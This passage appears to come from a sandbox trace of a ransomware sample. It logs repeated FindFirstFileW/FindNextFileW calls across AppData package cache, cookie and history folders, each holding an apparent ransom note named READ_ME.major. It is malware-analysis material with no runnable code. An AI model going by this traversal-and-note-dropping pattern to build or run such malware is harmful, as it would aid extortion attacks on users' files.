cAlternateFileName="")) returned 1 [0207.972] FindNextFileW (in: hFindFile=0x2f2ddd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.973] FindNextFileW (in: hFindFile=0x2f2ddd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.973] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6e8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2de58 [0207.973] FindNextFileW (in: hFindFile=0x2f2de58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6e8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.973] FindNextFileW (in: hFindFile=0x2f2de58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.973] FindNextFileW (in: hFindFile=0x2f2de58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x339466f1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x339466f1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x339466f1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.973] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad4427, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e818 [0207.973] FindNextFileW (in: hFindFile=0x2f2e818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad4427, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.973] FindNextFileW (in: hFindFile=0x2f2e818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.973] FindNextFileW (in: hFindFile=0x2f2e818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.973] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad4fbc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e058 [0207.974] FindNextFileW (in: hFindFile=0x2f2e058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad4fbc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.974] FindNextFileW (in: hFindFile=0x2f2e058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.974] FindNextFileW (in: hFindFile=0x2f2e058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.974] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad5c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e558 [0207.974] FindNextFileW (in: hFindFile=0x2f2e558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad5c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.974] FindNextFileW (in: hFindFile=0x2f2e558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.974] FindNextFileW (in: hFindFile=0x2f2e558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33a77927, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33a77927, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33a77927, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.974] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1d2e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e1d8 [0207.974] FindNextFileW (in: hFindFile=0x2f2e1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1d2e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.974] FindNextFileW (in: hFindFile=0x2f2e1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x2f2e1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.975] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1da82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e158 [0207.975] FindNextFileW (in: hFindFile=0x2f2e158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1da82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x2f2e158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x2f2e158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.975] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1e31c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e218 [0207.975] FindNextFileW (in: hFindFile=0x2f2e218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1e31c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x2f2e218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x2f2e218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ba8c81, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33ba8c81, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33ba8c81, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.975] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e5d8 [0207.976] FindNextFileW (in: hFindFile=0x2f2e5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.976] FindNextFileW (in: hFindFile=0x2f2e5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.976] FindNextFileW (in: hFindFile=0x2f2e5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.976] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e498 [0207.976] FindNextFileW (in: hFindFile=0x2f2e498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.976] FindNextFileW (in: hFindFile=0x2f2e498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.976] FindNextFileW (in: hFindFile=0x2f2e498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.976] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e258 [0207.976] FindNextFileW (in: hFindFile=0x2f2e258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.976] FindNextFileW (in: hFindFile=0x2f2e258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.977] FindNextFileW (in: hFindFile=0x2f2e258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.977] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4d0c1c24, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6bd50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e458 [0207.977] FindNextFileW (in: hFindFile=0x2f2e458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4d0c1c24, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6bd50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c67879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, 